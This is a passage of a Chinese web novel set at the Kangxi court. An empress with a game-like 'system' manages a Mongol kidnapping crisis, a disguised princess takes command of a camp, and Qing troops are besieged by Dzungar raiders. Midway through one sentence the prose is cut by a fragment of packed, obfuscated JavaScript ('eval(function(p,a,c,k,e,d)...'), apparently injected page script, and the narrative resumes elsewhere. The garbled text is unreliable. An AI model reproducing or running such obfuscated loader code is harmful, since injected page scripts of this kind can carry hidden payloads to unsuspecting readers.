她望着船头劈开的浪涛,声音沉了些:“等咱们坐船到云南,怕是还能赶上吴三桂的‘病榻’好戏。到那时候,朝廷的兵?连粮草还没运到呢。” 富春这才松了口气,手里的草绳终于编顺了:“那……咱们去云南做什么?” “看戏,也拆戏。”寿春的目光落在海天相接处,那里正有艘商船驶过,“吴三桂秘不发丧,朝廷观望,其余二藩也不太平,咱们去看看。另外……”她顿了顿,“公主和她儿子,会带领心向前朝的人另谋生路的。” 富春觉得自己没听懂,谁带领谁?公主,建宁她也不是前朝的公主啊?怎么个谋啊,这么抽象的!? 海风更紧了,吹得船帆鼓鼓作响。 富春望着姐姐笃定的侧脸,这趟海上的路,或许比她们想象的更有意思——朝廷的拖沓,云南的算计,还有她们藏在暗处的手脚,终究要在那片土地上,搅出更大的浪来。 71. 火器营危 雅图公主见珠兰眉头微蹙,迟迟不发话,心里那点焦灼陡然翻成了凉意。 在她是丈夫命悬一线,可京里来的人却还在“斟酌”,仿佛被困在峡谷里的不是科尔沁的亲王,只是个无关紧要的牧民。 再听佟国纲说“凤架先回关内”,她更是急得心头冒火——回了关内,再调大军,黄花菜都凉了! “你们……”她话没说完,眼圈先红了,猛地转身,一把掀了帐帘就往里冲,动作快得带起一阵风。 “公主!”珠兰面目一抽,连忙跟上,脚步却始终比公主慢,“太皇太后刚睡着,不可惊扰!” 可雅图哪里听得进去,她踉跄着扑到屏风后,对着软榻的方向放声哭喊:“皇额娘!救命啊!您的女婿被人抓了!他们要黄金万两!救救他啊!” 帐内瞬间乱成一团,太后本就守在榻边抹泪,被这哭喊惊得浑身一颤,慌忙想去捂雅图的嘴,却被她挣开;阿图公主跟进来,见姐姐失态,急得直跺脚;宣妃也忘了挣扎,呆呆地看着软榻方向泼妇一般的公主,眼里满是茫然。 “咳咳……”软榻上的太皇太后被这阵仗闹醒,喉间发出一阵急促的咳嗽,枯瘦的手从锦被里探出来,颤巍巍地想去按额角。 珠兰见此,微微收敛了表情,快步上前,轻轻按住太皇太后的手,又示意苏麻喇姑递过温水。她端着碗,小心翼翼地用银匙舀了点,凑到太皇太后唇边:“皇祖母慢些喝。” 温水滑过喉咙,太皇太后的咳嗽才缓了些。 她费力地睁开眼,浑浊的目光在帐内扫了一圈,最后落在珠兰脸上。 那目光极淡,却带着某种笃定,她缓缓抬起手,枯瘦的手指在被面上轻轻敲了三下,又虚虚往西北方向指了指,随即眼皮一沉,又昏睡了过去。 珠兰心头微动,轻轻为太皇太后掖好被角。 雅图公主看着太皇太后又闭上眼,哭喊声戛然而止,只剩下抽噎。 她不懂那三下轻敲是什么意思,更不懂为何要指西北,只觉得天都要塌了。 她转过身,目光落在珠兰身上,那眼神里没了方才的怨怼,只剩茫然的求助——她和阿图在部落里能断官司、能管牧场,可面对这种刀架在脖子上的绑架,丈夫不在身边,她们就像没了爪牙的幼兽,什么办法都想不出来。 阿图公主也跟着掉泪,拉着珠兰的衣袖哽咽:“皇后娘娘,您想想办法……求您了……” 帐内一时静得可怕,只有太后压抑的啜泣和雅图姐妹的抽噎。 佟国纲半跪在地上,头埋得低低的——太皇太后病倒,公主失态,太后无措,眼下这局面,真真是牵一发而动全身。此时,若是出了主意,就得担责…… 珠兰望着软榻上昏睡的太皇太后,又看了眼满脸泪痕的两位公主,看了一眼系统,嗯,一切数据皆在掌控中。 太皇太后敲那三下,该是说“不可急”;指西北,黑风口峡谷恰在巴林部西北,是提醒她们留意那边的地势? 无所谓了,现下怎么解释都成。 她绷着脸,对雅图和阿图道:“两位公主,哭无用。人在他们手里,咱们得先稳住。” 又转向佟国纲,“黄金万两确实蹊跷,但眼下不能露怯。你派几个机灵的,跟着科尔沁与巴林的人去部落取黄金,动静要大,让峡谷里的人‘看见’咱们在取钱。至于部落里问起来,便说是本宫要的,乃是今年两部入内务府的献礼。” 雅图和阿图都点头,黄金罢了,家里有的是。 珠兰顿了顿,目光锐利起来,“但黑风口峡谷的地形,你得立刻让人画出来。还有,那伙蒙面人的口音、装束,让回来的斥候仔细回想,一丝一毫都不能漏。”这些事,佟国纲定然都交代过了,但是在这里她还是要说的。 雅图公主怔怔地看着她,泪还挂在腮边,心里却奇异地定了些。她忽然想起,当年太皇太后说“珠兰更妥帖”时,语气里的笃定——或许,在这种时候,真该信她一次。 帐外的风还在吼,帐内那点慌乱,仿佛被珠兰这几句话轻轻按住了。只是谁都知道,这不过是暂时的平静,黑风口峡谷里的刀,还悬在每个人的头顶。 珠兰的目光从软榻上移开,落在雅图公主泪痕未干的脸上,语气里添了几分沉定,“兵,自然要发。但退,绝不能退。” 她转向佟国纲,指尖在案几上轻轻一点,“佟将军方才说退往关内,可太皇太后病体如何经得起长途颠簸?御医说,需得静养,一丝劳顿都受不得。” 帐内的风似乎都停了,只剩下她清晰的声音:“更何况,若对方当真冲着皇祖母、皇额娘和本宫来,此地却有巴林部骑兵与内务府护军,靠着地形还能守些时日,待援军赶来。可若动了身,半路上被人堵截,前不着村后不着店,咱们这一群老老小小,凭什么安身?” 佟国纲猛地抬头,额角的青筋跳了跳。 他只想着“撤离避险”,竟没算到半路遇袭的风险——对方若真是处心积虑,定会算准他们撤退的路线,到时候首尾不能相顾,才是真的万劫不复。 “皇后娘娘说得是。”他躬身领受,语气里多了几分信服,“那依娘娘之意,这八百人……” 系统面板上,佟国纲的数据在缓缓跳动。 “就按斥候说的隐秘道路去。”珠兰打断他,目光扫过帐外凛冽的风,“带上各部熟悉地形的向导,仔细看看那伙蒙面人的装束、口音,哪怕是马蹄印、箭簇样式,都要记下来。咱们总得知道,对手到底是谁,是漠西的准噶尔,还是藏在漠南的内鬼。” 佟国纲攥紧了佩刀的刀柄:“奴才愿亲率这八百人去!黑风口峡谷险要,奴才打了半辈子仗,兴许能寻着他们的疏漏,打个措手不及,说不定能把亲王郡王们抢回来!”按照斥候所言,那峡谷外也就千把人守着。 可话刚说完,他又皱起眉,声音低了下去:“只是……奴才走了,营里的防务怎么办?贵人们还在此地,军中再无大将压阵,奴才实在放心不下。” 珠兰闻言笑了,那笑意落在宣妃眼底,竟似是带着几分了然的,“佟将军可知端贝勒?” 佟国纲一愣,随即恍然:“您说的是军中演武时露脸的那位小将?” 每次演武完毕,主子娘娘都要给得胜的一方发奖赏,那丰厚的让他的手下都咂舌,吃的喝的,大羊二牛三美酒,当晚就兑现,其他绸缎琉璃之类的紧俏货直接在京中就发给家人。皇后娘娘的口碑是极好的,没人会怀疑她说出来的话、许出来的福利。一群包衣罢了,竟然待遇比他们正经八旗还好。 他想起前几日营中比试,火器营这边禁不住奖励的诱惑,几个副将期期艾艾的找了过来,他无奈,就让手下也参与了进去。 那少年一身银甲,骑术精湛,百步穿杨,刀术更是利落,连着挑了他帐下三个副将,年纪虽轻,眉宇间却有股稳劲和狠劲儿,仿佛天生吃这碗饭的,只是他一直没问清对方的来历。 “确是个好手,只是……”他迟疑着,“太过年少,这营中防务千头万绪,他能担得起?”虽说贝勒空降,也不是稀奇事。但,此时是要承担重任的。一旦出现问题,大家都吃不了兜着走。 “不妨做两手准备。”珠兰语气笃定,“若将军愿留营,便让端贝勒带这八百人去;若将军想亲往,便让端贝勒留下署理防务,自有副将协助,如何?” “这怎么行!”佟国纲急得往前一步,甲胄相撞发出脆响,“此去是刀山火海,哪能让贵人涉险?还是奴才去!奴才这把骨头,经得起折腾!”他看得出娘娘有意培养这端贝勒,虽说不知缘由,但带兵是不能让小年轻去的,他的手下可不是炮灰。 珠兰看着他赤红的脸,缓缓点头:“既如此,便这么定了。”她转向帐外,声音低下来,“佟将军亲率八百勇士,沿隐秘道路探查黑风口峡谷;端贝勒留营,总领防务,凡调兵、巡营、传信之事,皆由他决断,其余副将协助。” 佟国纲张了张嘴,还想说什么,却见珠兰目光坚定,身后的雅图、阿图公主虽仍面带忧色,却已没了方才的慌乱——显然是信了这位皇后的安排。 他终是一揖到地,铁甲重重磕在地上,“奴才……遵令。”这端贝勒在军中也算有口皆碑了,毕竟演武成绩在那里摆着。让这人上,佟国纲虽然心中打鼓,但还是能勉强接受。自己的副将不是人家对手,留下来支撑大局,他说不出口。 不枉费珠兰每日都去军演上撒钱,给端敏积攒的声势,关键时刻派上了用场。 佟国纲退出去时,铁甲摩擦的声响在帐外渐远。他晓得带兵出去急不得,需得等到入夜,借着月色掩护,做足准备,才能让八百人悄无声息地撤出营地——黑风口峡谷的对手既然敢绑亲王,定在附近布了眼线,半点疏忽都可能坏事。 帐内,珠兰转向雅图公主,语气里带着几分审慎,“先前只调了巴林部的一千骑兵,原以为够用,如今看来,还得从科尔沁再调一千来。”她指尖轻叩案几,“就说是护送黄金,与巴林部的人汇合。咱们既要做戏,就得做得周全,让峡谷里的人信了‘咱们急着赎人’,才不会起疑。” 雅图公主此刻已没了半分犹豫,连连点头:“我这就去写调兵信,让亲信快马送去科尔沁!”虽然一开始她坚决反对从部落调兵,但是现下她知道丈夫的消息,有了些底气了,也敢做事了。她们夫妻这么多年,也是有亲信可用的。 她转身要走,阿图公主连忙跟上,低声道:“姐姐别急,我跟你一起,也好帮着看看信上的措辞。”姐妹俩的身影很快消失在帐帘后。 帐内一时静了,只剩下太后低低的叹息。她望着珠兰,忽然蹙起眉头,语气里满是疑惑:“方才你说的端贝勒……是哪个宗室的孩子?我怎么从没听过这名号?宗室玉牒里,也没这号少年英才啊。” 珠兰端起茶盏,送到太后手上,眼底闪过一丝笑意,“皇额娘猜猜?” 太后被她引得纳罕,刚要再问,就听珠兰慢悠悠道:“哪是什么贝勒?是端敏格格呀。” “什么?!”太后手里的茶汤“啪”地掉在地上,她猛地站起身,鬓边的珠钗都晃歪了,“是……是端敏?她什么时候能当将军了?这……这怎么使得!” 一旁的苏麻喇姑却没太惊讶,只是无奈地摇了摇头。她早瞧出些端倪——方才珠兰提“端贝勒”时,那语气里的熟稔,倒像是在说哪个常打交道的孩子。 端敏格格这两年在宫里就不安分,整日里舞刀弄枪、把校场的靶子射得稀烂。别的格格都在家学插花描红,她偏要拉着侍卫比试骑射,一把弓能开十五力,还耍得有模有样,显然游刃有余。只为了照顾皇帝的面子,才没用上更重的弓。毕竟,皇帝也只用到十五力弓。 连太皇太后都笑着说“这丫头,比男儿厉害”。因为这个,至今没定下哪个科尔沁的巴图鲁能配得上我们格格。 只是谁也没料到,皇后竟真敢让她署理营中防务。苏麻喇姑想着,约么皇后也是没办法,才要让端敏格格出来支撑,毕竟与其他人也不熟悉。佟国纲一走,也就是端敏可靠,浑然全忘了护军统领冯唐也是能用的。 冯唐:我服气端贝勒!连着败于人手,不服不行。 “这孩子……”太后还在喃喃,一脸的不敢置信,“她连账本都算不清,怎能管得了千军万马?若是出了岔子……” “皇额娘放心。”珠兰放下茶盏,语气笃定,“端敏看着跳脱,实则心思活络,又肯听人劝。火器营里的老军卒都是佟将军带出来的,包衣新兵也有冯将军带着,规矩熟得很,她只需居中调度,稳住阵脚就行。再说了,”她眼尾弯了弯,“她打小就爱缠着侍卫演武,真论起骑射刀术,营里的副将未必是她对手呢。”还有个军师在她身边,那个丫头瞅着出尘脱俗,实则最善于揣摩人心了。系统属性里,她们俩啊都是天赋出众的。 太后仍是忧心忡忡,却见珠兰说得坦然,苏麻喇姑也只是轻叹,便知这事已定下。她望着帐外沉沉的暮色,忽然想起端敏刚入宫时的模样——扎着小辫,举着玩具弓追兔子,怎么转眼就成了要守营的“贝勒”? 帐外的风卷着落叶掠过,隐约传来远处演武场的呼喝声。 谁也没瞧见,端敏格格正躲在帐后的树影里,听见“端贝勒留署防务”时,悄悄握紧了腰间的短刀,眼里闪着兴奋的光——这下,可算有正经事干了。 珠兰掀帘出来时,正见“端贝勒”站在廊下,一身银甲衬得眉眼愈发英挺,只是耳根悄悄红着——想来是听见了帐内太后的惊呼。珠兰望着她那副强装镇定的模样,忍不住笑了,走上前低声道:“怎么?怕了?” 端敏猛地抬头,手里的马鞭在掌心转了个圈,梗着脖子道:“谁怕了?营里的防务我早摸熟了,保管出不了岔子!”话虽硬气,眼底却闪着兴奋的光,像头终于等到猎物的小豹子。 珠兰伸手,替她理了理歪掉的盔缨,“我费这许多功夫,可不是让你在营里当摆设的。”她故意激佟国纲出兵,又把“端贝勒”推到防务总领的位置,便是要让所有人都看到,这孩子不止会舞刀弄枪。草原上最敬强者,此刻让她坐镇,既能稳住军心,也能为之后的事打下基础。 “您放心!”端敏挺了挺胸,声音亮得像出鞘的刀,“谁敢来捣乱,我打折他的腿!” 珠兰看着她这股冲劲,“我那三凤大纛还未用,便与你了。”端敏这般好天赋,若是真困在深宫里绣一辈子花,才是可惜了。 端敏眼前一亮,她还说这要去哪里寻摸一杆纛呢。三凤虽不如皇后常用的五凤气派,也比寻常的纛华丽的多。 “这次的事,办好了,往后没人敢再把你当‘软软糯糯的小格格’看,命运便握在你自己手上了。”珠兰拍了拍她的肩,语气里带了几分期许,“办砸了……” “绝不可能!”端敏立刻打断,眼睛已经亮得惊人,“我这就去查岗!保证一只苍蝇都飞不进营地!”说罢,转身就往营门的方向去,脚步轻快得像踩着风。 珠兰望着她的背影,轻轻吁了口气。为了给端敏铺这条路,她确实没少费心思——故意在演武时让她出风头,让佟国纲记住这号“小将”;又借着调兵的由头,让她顺理成章地接触防务;如今更是借着太皇太后病重、佟国纲出征的机会,把她推到了“非她不可”的位置。 旁人只当是应急,却不知她早瞧准了端敏骨子里的韧劲。这孩子就像草原上的小狼,得给她一片能跑的草原,才能显出本事来。 “为了一碟醋,包了顿饺子,倒也值当。”珠兰低声自语,唇角弯起笑意。端敏这“醋”,是她藏了许久的璞玉;这场营中防务的“饺子”,便是打磨璞玉的石。只要端敏能接住,往后的路,便能宽得多。她的舞台,不止在草原。也许,婚姻她无法自主,但婚后谁听谁的,却可以提前定下。 远处传来端敏中气十足的吆喝声,想来是在清点岗哨了。珠兰收回目光,望向黑风口峡谷的方向——那边的仗还没打,这边的“仗”,端敏可得替她守好了。 算算日子,云南也该有动作了。下面京中也会烦乱起来,一时半会儿顾忌不上这边。 气氛烘托到这儿了,主演可不能掉链子。 三日后,佟国纲的马在乱石堆上打了个滑,他猛地勒住缰绳,甲胄上的血渍被风一吹,结了层暗红的冰碴。 准噶尔人的箭雨像飞蝗似的扑过来,钉在他脚边的岩石上,箭羽嗡嗡作响。还好盔甲厚,等闲破不了防。 可惜了火炮没拉出来,不然一准儿打的你们这群蛮夷狼奔豕突。 “火器营!左翼掩护!护军营居中,不许乱!”他嘶吼着挥刀劈落一支冷箭,刀刃与箭杆相撞,震得虎口发麻。 护军营那四百新兵表现还可以,能打,敢拼。 只有几个吓得脸色惨白,握着鸟铳、弓箭的手都在抖,被火器营的老兵一脚踹在屁股上:“怂什么!放铳!拉弓!打准了赏酒喝!就跟你们演武一样,打他们!” 鸟铳的铅弹呼啸着扫过去,准噶尔人的冲锋势头顿了顿。 佟国纲趁机瞥了眼对方阵地——刚才炸膛的火炮还歪在地上,黑黢黢的炮口对着天,周围倒着七八具尸体,看装束是炮手无疑。他心里冷笑,这准噶尔人用的竟是罗刹货?难怪不经打。 可对方人实在太多,黑压压的像潮水,一波退了又来一波。 火器营的鸟铳填药慢,很快就被准噶尔的骑兵冲近了。佟国纲舞刀砍翻一个扑到马前的准噶尔兵,余光瞥见护军营的新兵开始有个别往后缩的迹象,心头一紧——再这么耗下去,别说撤退,能不能守住这处山坳都难说。 “吹号!打旗!交替掩护,往东北山脊退!”他扯过身边一个亲兵,“告诉后面的人,稳步退!” 号声凄厉地划破战场,火器营的老兵果然有章法,边打边退,像堵移动的铁墙,把护军营的新兵裹在中间。 可刚退到山脊下,前路突然涌出另一队准噶尔人,举着弯刀呐喊着冲过来。 “娘的,被包圆了!”佟国纲啐了口带血的唾沫,这才发现自己被堵在了三面环山的死谷里。哪个向导带的路,这不是坑人么! 而谷外的准噶尔主营,首领僧格正对着一堆炸坏的火炮破口大骂。他一脚踹翻装火药的木箱,硫磺味呛得人咳嗽,“罗刹人送的什么破烂!三炮就炸膛?老子部落里就十五个会用炮的,全他娘炸没了!” 身边的亲卫缩着脖子不敢吭声,他们本来是想在商路上劫批货,首领带着大伙出来,轻装上阵,预备速战速决,一击之下远遁千里,都没带几副重甲。 本来抢了大量货物,大伙儿都很满足,要回去分战利品了,前军都回去了。 谁知道扫尾的后队居然就撞上科尔沁的亲王,手下不知道是哪一帮杀红了眼的愣头青,居然直接把人捆了回来。 中军大帐,因之滞留。 更离谱的是,本就是关两天罢了,等首领想清楚咋办再说。没想到守着人的小子还狮子大开口,擅自跟来询问情况的朝廷那边斥候要黄金万两——首领僧格越想越觉得不对劲,这分明是把火往自己身上引。 这不,引来了朝廷的兵。还是全副武装的骑兵,若非他此次出来求稳带足了人马,同等人数一准儿被人家全歼。 也就是他的族人能征善战、忠心耿耿,才能在缺少重甲的情况下,拿人命往上堆。 “那几个亲王郡王台吉,”他烦躁地抓着自己的辫子,“抓回来干什么?喂狼吗?科尔沁和巴林部能跟咱们拼命!”早知道这么麻烦,哎…… 现下,他的身份是暴露了,还是没有…… 僧格犹犹豫豫,有些进退两难。局势怎么就成这样了,跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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首领盯着他,觉得这事儿从头到尾都透着古怪。劫货劫到亲王,莫名就索要万两黄金,打起来发现火炮是破烂……他猛地推开罗刹商人,心里突突直跳——他可不傻! 谷里的佟国纲正清点人数,护军营伤了十几个,火器营伤了二十多。这一阵突兀交锋,虽然对方炮火齐飞,但是准头很差,没怎么伤人。也多亏了内务府给换的新铠甲,是真硬实啊。 人员消耗不多,子弹消耗不少,说起来,要不是自己人太少,就对面这样的蒙古骑兵,他敢冲垮他们。 他望着谷口密密麻麻的准噶尔人,忽然觉得这仗打得真奇怪了——准噶尔人莫名其妙地动手,自己莫名其妙地被围,连罗刹人都掺和进来。 北面,什么时候如此复杂了,这跟内阁分析的一点都不一样啊。 那罗刹人大摇大摆的在谷口晃悠,大声说着叽里咕噜的话,是怕自己看不到听不着? “将军,还冲吗?”亲兵问。 佟国纲摸了摸腰间的令牌,“不急。” 他要等一个时机,将自身的优势最大化。 死谷外的风裹着雪粒子,打在准噶尔人的皮袍上,簌簌作响。 僧格勒着马,望着谷口那片黑压压的岩石——三天了,里头的清军像被冻住的石头,没一点动静,既不突围,也不喊话,静得让人心头发毛。 他手下的人按他的命令,摆成了大阵。骑兵沿着山谷四周的山脊铺开,像条长蛇,把三面环山的死谷裹得严严实实。 这阵法看着唬人,实则把战线拉得太长,每个哨卡的人手都稀松,稍不留神就可能被撕开缺口。 僧格每隔半个时辰就派人去查岗,回来的人都说“没动静”,可他心里那点疑神疑鬼,半点没消。 “这群清狗到底在等什么?”他扯着自己的辫子,烦躁地在雪地里踱步。皮靴踩在结冰的碎石上,发出咯吱的脆响。 他原以为清军没带辎重,顶多撑两天就得出来拼命,没料到对方比他还沉得住气,硬是在谷里熬了三天。 旁边的罗刹商人裹紧了貂皮大衣,呵着白气道:“首领,别等了!他们肯定是没水没粮了,撑不了多久!不如咱们冲进去,一刀一个,利索!”他指了指谷口,“等杀完了,咱们连夜回漠西,大清就算知道了,也没空来追——南边的吴三桂都快反了,他们哪有心思管草原上的事?” 僧格斜睨了他一眼,没说话。罗刹人的话听着有理,可他总觉得不对劲。 清军的将领是佟国纲,那是正经打过仗的老将,怎么可能坐以待毙?再说,这死谷里会不会有暗道?会不会藏着斥候,正等着他们松懈,好溜出去报信? “再等等。”他咬着牙道,“让各哨卡加派巡逻,谁敢偷懒,砍了!”他也派了斥候出去探查,却没有一队回来,搞得他也拿不准朝廷到底有多少兵在草原上了。他甚至,觉得有些恐怖。这样信息断绝的情况,还从未有过。 话刚说完,就见西边山脊的哨兵骑着马狂奔而来,在雪地里扬起一道白烟:“首领!首领!西边……西边有动静!有大队人马过来了!” 僧格心里“咯噔”一下,猛地爬上旁边的巨石望去——远处的雪原上,果然有黑点在移动,看规模,少说也有上千人。 “是大清的援军?”他脸色瞬间发白,下意识就想下令收缩阵型。可军阵拉得太长,此刻收缩,只会乱成一团。 罗刹商人也慌了,拽着他的胳膊道:“撤!快撤!真被围住就完了!” 僧格望着谷口,又望着远处的援军,脑子里乱成一团麻。杀进去?怕中了佟国纲的埋伏。撤出去?怕被援军追着打。更要命的是,秋天快过去了,冬天的雪说来就来,再拖下去,他的人连回漠西的路都找不到了。 “妈的!”他一拳砸在巨石上,雪沫子溅了满脸,这一团乱麻的局面,是怎么出现的?“传令!留一半人继续围谷,另一半跟我去看看那支援军的底细!” 风卷着雪粒子,打在他脸上生疼。也许,不该分兵,虽然自己人多,是对方的十倍,但是对方装备精良。 僧格冥冥中觉察,这一步踏出去,要么是闯出条活路,要么就是把整个准噶尔都拖进泥潭——可事到如今,他已经没得选了。 死谷里的清军,远处的援军,还有身后步步紧逼的冬天,像三张网,正慢慢收紧,要把他困死在这片草原上。 死谷里的风裹着碎石,刮在脸上像小刀子。 火器营的老兵赵武缩了缩脖子,把最后一块干饼掰成两半,一半塞进嘴里,一半递给身边的新兵。 饼硬得硌牙,他嚼得腮帮子发酸,眼神却没离开谷口——三天了,除了准噶尔人的巡逻队在山脊上晃悠,连只飞鸟都没进来过。 “我说,你们护军营的,心可真够大的。”赵武看着那新兵三两口吞完饼,又拿起水囊抿了一小口,动作规整得像在营里吃饭,忍不住笑了,“就这点存粮,再耗两天就得喝西北风,你们就不怕死在这儿?” 他们火器营的其实心里有数,以他们这一身重甲的装扮,冲出包围圈是没问题的,只是佟将军肯定有别的打算,才会在这里等。但是护军营的新兵蛋子,什么都不懂,怎么也这么安稳。 那新兵叫栓子,脸黑得像被烟熏过,笑起来一口白牙格外显眼。他抹了把嘴,露出憨厚的笑:“俺们主子娘娘说了,俺们内务府的人不会抛弃任何一个弟兄。只要俺们在外遇险,就一定会有人来救俺们。” “噗——”赵武刚喝进去的水差点喷出来,指着栓子笑得上气不接,“主子娘娘?哪个主子娘娘?皇后娘娘?她在草原大帐里,难不成还能插翅飞过来救你?” 栓子却收起笑,脸膛绷得通红,格外认真:“就是皇后娘娘!出发前她跟俺们说的,‘出去了,就一个都不能少’。娘娘她,金口玉言、说话算数!” 赵武的笑声戛然而止,他上下打量着栓子,见这新兵眼里没半分虚的,全是实打实的信任。他又扭头看了看周围——护军营的新兵们,有的靠在岩石上打盹,有的擦拭着鸟铳,还有的正按队列巡逻,个个脸上都透着股说不清的踏实,仿佛不是困在死谷,而是在京郊的演武场。 “你们……看见主将派斥候出去报信了?”赵武压低声音问,他守在谷口三天,压根没见有人往外冲。但是斥候,肯定是派了。 栓子摇摇头:“没看见。” “那你们凭啥确定有援兵?”赵武更糊涂了,这护军营的新兵怕不是被吓傻了? 栓子却拍了拍胸脯,黑脸上又绽开笑:“娘娘说有,就一定有!俺们在京里时,有一次跟着葛大人去直隶灾区赈灾,那回洪水把村子围了,也是断了粮,大人守在堤上,说‘人在堤在,粮马上到’,第二天漕运的船就真开进来了。”他挠了挠头,“反正俺信娘娘,那会儿能找到俺们,这会儿也能。” 赵武张了张嘴,想说什么葛大人身份能是咱们比的,却见周围几个护军营的新兵都凑了过来,七嘴八舌地接话: “俺也信娘娘!她从不哄人!” “上回演武,俺们队输了,以为要受罚,娘娘还赏了俺们伤药呢!” “肯定会来的,再等等!” 这群新兵,有的才入伍半年,大部分连像样的仗都没打过,说起“主子娘娘”时,眼里却亮得像星星。 赵武看着他们,忽然觉得心里那点焦躁,不知何时淡了些。 他当了十年兵,跟着佟将军南征北战,信的是主将的谋略;可这群新兵,信的是那位远在大帐里的皇后娘娘,信的是一句“一个都不能少”。给主子娘娘卖命,好像挺好的。 风还在刮,谷口的准噶尔人还在晃悠。赵武摸了摸怀里的火折子,忽然觉得,或许……真的能等来些什么。 72. 援军来了 乾清宫的烛火被风卷得摇晃,康熙捏着春苒的信,指节泛白。 信纸边缘被他攥得起了皱,上面“太皇太后病重”“亲王郡王失踪”几个字,像烧红的烙铁,烫得他心口发紧。这是滞后的消息,距离远就是这样,电光火石间发生的事,根本来不及传递。 “准噶尔……”他低声念着这三个字,指尖在御案上无意识地敲着。 漠西的那帮人,向来不服不忿,惯于趁火打劫,太皇太后病重、王爷失踪,两件事凑在一起,怎么看都透着蹊跷。 他的多疑像藤蔓般疯长,瞬间盘住了所有可能——是准噶尔设的局?还是有其他人欲要挑拨? 正思忖间,梁九功轻手轻脚地走进来,手里捧着另一封信:“皇上,皇后娘娘的密折到了。” 康熙几乎是抢过来的,火漆都没顾上仔细看,直接撕开。珠兰的字迹一如既往地清隽,语气却异常平静:“太皇太后旧疾复发,御医诊过,是急火攻心,需静养,暂无大碍。草原上出了点状况:先丢了批货,亲王郡王去寻,至今未归。雅图、阿图公主怕走漏风声——科尔沁那边有人对爵位虎视眈眈——故而未敢声张,不曾报前朝。已让佟国纲带人去找,目前一切可控。” 附在信后的,还有御医的脉案,字迹工整,条条列得清楚,确实是旧疾。 “啪!”康熙猛地一拍御案,砚台里的墨汁溅出来,染黑了明黄的奏章。 他胸口剧烈起伏,第一次对着空气动了怒:“珠兰怎如此不智!” “那是两个蒙古王爷!丢了便丢了,有什么大不了的?”他攥着珠兰的信,指腹几乎要嵌进纸里,“她竟让佟国纲带兵出去寻人?置自己、置太皇太后、置太后于何地?!” 梁九功吓得跪在地上,头埋得低低的。他从未见皇上发过这样的火——皇上向来称赞皇后沉稳,今儿却骂她“不智”,可见是真急了。 康熙踱到窗前,望着宫墙外沉沉的夜色,声音里带着后怕的颤抖,“蒙古部落的事,再大也是外藩的事。她是大清的皇后,是太皇太后的孙媳,是朕的妻子!她的安危,比十个王爷都重!” 他想起珠兰在京时,处理六宫事宜滴水不漏,怎么到了草原,反倒拎不清轻重?佟国纲一走,大帐里只剩些老弱和女眷,若真有变故,谁能护着她们? “梁九功。”康熙忽然转身,眼底的怒火褪去,只剩焦灼,“传旨给粘杆处在草原的人,让他们不惜一切代价,护住皇后和太皇太后。告诉珠兰,别管什么王爷郡王,守好自己,等朕的旨意!” 烛火再次摇晃,映着他紧绷的侧脸。他知道珠兰聪慧,顾全大局,可这一次,她的“周全”在他看来,分明是拿自己的安危去赌——这赌局,他输不起。 调兵往北的念头像团火,在心里烧得他坐立难安——太皇太后病重,珠兰身处险境,他这个当孙儿、当丈夫的,岂能坐视不理! 此事,若是让葛布喇知道了,还不知他要如何忧心。南方之事,已然牵扯他许多精力,近来朕几次嘱咐他休息,他还是与幕僚彻夜商议,精神已经紧绷不已。若是叫他知道,自己的爱女珠兰出事,皇帝也难以预料他的反应。 此时此刻,在康熙的心中,这位自幼时便陪伴在身侧的大臣,已然处在极为重要的位置。 可脚步刚迈到殿中,又猛地顿住,皇帝的心在不断翻转。 御案上摊着的南征舆图还没收起,红笔圈住的吴三桂地盘密密麻麻,十万大军刚开拔到湖南,粮草、军械正顺着运河往南运,整个朝廷的力气都往南边使,像架上了弦的战车,根本停不下来。 “往北调兵……调谁?”他低声自语,声音里带着无力。 能征善战的将领,一半在云南边境盯着吴三桂,一半守着京畿要地;北方精锐的八旗兵,分驻在山海关、潼关各处,牵一发而动全身,不可轻易动用,要防着草原当真乱了。真要从南边抽兵,那边必然趁机反扑,三藩本就胶着,他赌不起。 康熙缓缓坐回龙椅,龙袍的褶皱里仿佛藏着千斤重负。 他是天子,掌着天下兵马,此刻却被两头的事捆住了手脚,连调一队亲兵去草原都难——南边的战事像条紧绷的锁链,环环相扣,容不得他拆一环补另一环。 “梁九功。”他唤道,声音有些沙哑,“把草原的密折再给朕念一遍。” 梁九功捧着密折,小心翼翼地念着珠兰写的“一切可控”“佟国纲已出发”“端敏在营中协防”“太皇太后已然见好”“太后无恙”。 每念一句,康熙的眉头就松一分,念到最后,他忽然闭了闭眼,“北边的折子,不要给葛布喇看了。” 珠兰向来稳妥,从不会说没把握的话。她敢让佟国纲出去寻人,敢把端敏推到前头,想必是留了后手。粘杆处的人在草原上还有势力,巴林部的骑兵也靠得住,或许……或许她真能稳住局面。事已至此,他必须信她。 科尔沁与巴林,着实可恶!可恨! 为了些货物,竟然连累贵人遇险! 康熙迁怒于漠南蒙古,重新开始考虑商路的划分,不能再顾念姻亲关系了,必须敲打到他们疼! “罢了。”梁九功见皇帝睁开眼,眼底的焦灼淡了些,只剩深深的无奈,“传旨,让承德粘杆处的人往草原集结,全听皇后调遣,她要什么,就给什么,别问缘由。” 他重新看向南征舆图,指尖在云南的位置重重一点——先解决南边的乱子,再回头收拾草原的事。这是眼下唯一的法子,也是最无奈的法子。 南书房中,葛布喇还在与其他大学士不停争论,尚且不知草原上自己心爱的女儿在操盘什么大事。 风从殿外吹进来,烛火晃了晃。康熙望着窗外沉沉的夜色,在心里默默念着:珠兰,你可得撑住。等朕腾出手,定亲自去草原接你和皇祖母回来。 这一晚,乾清宫的灯亮到天明。龙椅上的人,一边盯着南边的烽火,一边牵挂着北边的风雪,掌心的汗,浸湿了那份来自草原的密折。他感觉自己的心,仿佛被撕扯开了,火辣辣的疼。 康熙捂住眼睛,觉得晨光有些刺目。偏偏是这个时候,朕无人可派了,你没有援军啊,珠兰…… 死谷里的风刚歇了歇,就见一个火器营的斥候连滚带爬地冲过来,甲胄上的冰碴子掉了一地:“将军!援军来了,准噶尔人动了!西边的阵乱了!” 佟国纲心里一紧,几步登上谷口最高的那块岩石,手搭凉棚往外望——可不是嘛,原本像长蛇般缠在山脊上的准噶尔骑兵,此刻正乱糟糟地往西边涌,马嘶声顺着风飘进来,带着股慌乱的劲。 “将军,您看这个!”副将捧着个黑黢黢的筒子跑上来,递到他手里,“内务府新制的望远镜,说是能看千里远!” 佟国纲一把抓过望远镜,这物件他只在京里见过一次,据说造一个得耗半年功夫。 